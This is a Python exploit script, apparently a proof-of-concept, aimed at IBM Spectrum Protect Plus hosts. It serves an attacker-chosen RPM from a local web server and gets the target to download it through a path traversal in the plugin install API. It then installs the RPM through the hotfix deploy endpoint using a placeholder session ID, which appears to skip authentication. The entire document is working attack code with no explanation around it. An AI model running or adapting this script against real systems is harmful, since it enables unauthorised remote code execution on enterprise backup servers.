import http.server, requests, socket
import os, sys, threading, argparse, json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def start_httpd(path, port, handler):
    os.chdir(path)
    httpd = http.server.HTTPServer(('', port), handler)
    httpd.serve_forever()

#
# MAIN
# 
descr  = 'This script sets up a local httpd and asks an IBM SPP '
descr += 'host to download and install an RPM package.'
 
parser = argparse.ArgumentParser(descr)
required = parser.add_argument_group('required arguments')
required.add_argument('-t', '--target',required=True, dest='target',help='Target host')
required.add_argument('-r', '--rpm', required=True, dest='rpm',help='RPM package to upload')
parser.add_argument('-p', '--port', dest ='port',type=int, default=8080, help='Port of the local httpd serving the RPM package, default: %(default)s')


args = parser.parse_args()
host        = args.target
rpm         = args.rpm
httpd_port  = args.port

# upload dir; writable by the administrator account
dir = '/tmp'
port  = 8090

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
my_ip = s.getsockname()[0]
s.close()

rpm_abspath = os.path.abspath(rpm)
rpm = os.path.basename(rpm_abspath)
rpm_dir= os.path.dirname(rpm_abspath)

handler = http.server.SimpleHTTPRequestHandler
print('Starting httpd on %s:%d to serve %s, DocumentRoot %s' % (my_ip, httpd_port, rpm, rpm_dir))

ht = threading.Thread(name='http_server',
                          target=start_httpd,
                          args=(rpm_dir, httpd_port, handler))
ht.setDaemon(True)
ht.start()

print('Requesting target %s to download %s from %s:%d and save it to %s on %s' % (host, rpm, my_ip, httpd_port, dir, host))

url = 'https://%s:%d/api/plugin/?action=install_single' % (host, port)
download_url = 'http://%s:%d/%s' % (my_ip, httpd_port, rpm)
plugin_name  = 'emi/../../../../..%s' % (dir) 

data  = {
  'url'       : download_url, 
  'filename'  : rpm,
  'type'      : 'FILE',
  'pluginName': plugin_name
}

r = requests.post(url, json=data, verify=False) 
j = r.json()

if j['success'] == False:
  sys.exit('Failed to upload %s to directory %s on %s.\n' 
  'It is possible the file is already there.'
  'Please try a different RPM.' % (rpm, dir, host))

hflocation = '%s/%s' % (dir, rpm)
print('Installing %s on %s' % (hflocation, host))
url = 'https://%s:%d/emi/api/hotfix?action=hfdeploy&hflocation=%s' % (host, port, hflocation)

headers= {'x-ac-sessionid': 'deadbeef'}
r = requests.post(url, headers=headers, verify=False) 
print(r.text)
